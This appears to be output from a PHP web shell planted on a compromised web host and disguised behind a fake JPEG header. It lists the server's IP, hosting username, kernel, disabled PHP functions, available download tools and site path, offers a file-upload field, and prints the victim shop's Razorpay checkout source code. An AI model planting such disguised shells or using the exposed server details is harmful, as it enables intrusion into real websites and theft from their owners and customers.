���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/ |
Upload File : |
<?php session_start(); ini_set('dispaly_errors', 1); require 'vendor/autoload.php'; // Make sure to include Composer's autoload file use Razorpay\Api\Api; include './action/config.php'; // Check if the form is submitted if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Retrieve and sanitize user inputs $address_id = intval($_POST['address']); $cartTotal = floatval($_POST['cartTotal']); $shipping_cost = floatval($_POST['shipping_cost']); $final_amount = floatval($_POST['final_amount']); $api = new Api($keyId, $keySecret); $orderData = [ 'receipt' => 'rcptid_11', 'amount' => $final_amount * 100, 'currency' => 'INR', 'payment_capture' => 1 // Auto capture ]; $razorpayOrder = $api->order->create($orderData); $orderId = $razorpayOrder['id']; // Retrieve address details from the database $address_query = mysqli_query($con, "SELECT * FROM `user_address` WHERE id='$address_id' AND userid='{$_SESSION['userid']}' AND status=1"); $address = mysqli_fetch_assoc($address_query); if (!$address) { // Return error response echo json_encode(['success' => false, 'message' => 'Invalid address selected.']); exit(); } $user_query = mysqli_query($con, "SELECT email FROM `users` WHERE userid='{$_SESSION['userid']}' AND status=1"); $user = mysqli_fetch_assoc($user_query); $name = htmlspecialchars($address['name']); $email = htmlspecialchars($user['email']); $phone = htmlspecialchars($address['phone']); $paymentUrl = 'payment_process.php?name=' . urlencode($name) . '&email=' . urlencode($email) . '&phone=' . urlencode($phone) . '&order_id=' . urlencode($orderId) . '&amount=' . urlencode($final_amount) . '&address_id=' . urlencode($address_id) . '&shipping_cost=' . urlencode($shipping_cost); // Return the payment URL as a JSON response echo json_encode(['success' => true, 'paymentUrl' => $paymentUrl]); exit(); } else { // Handle invalid request die('Invalid request method.'); }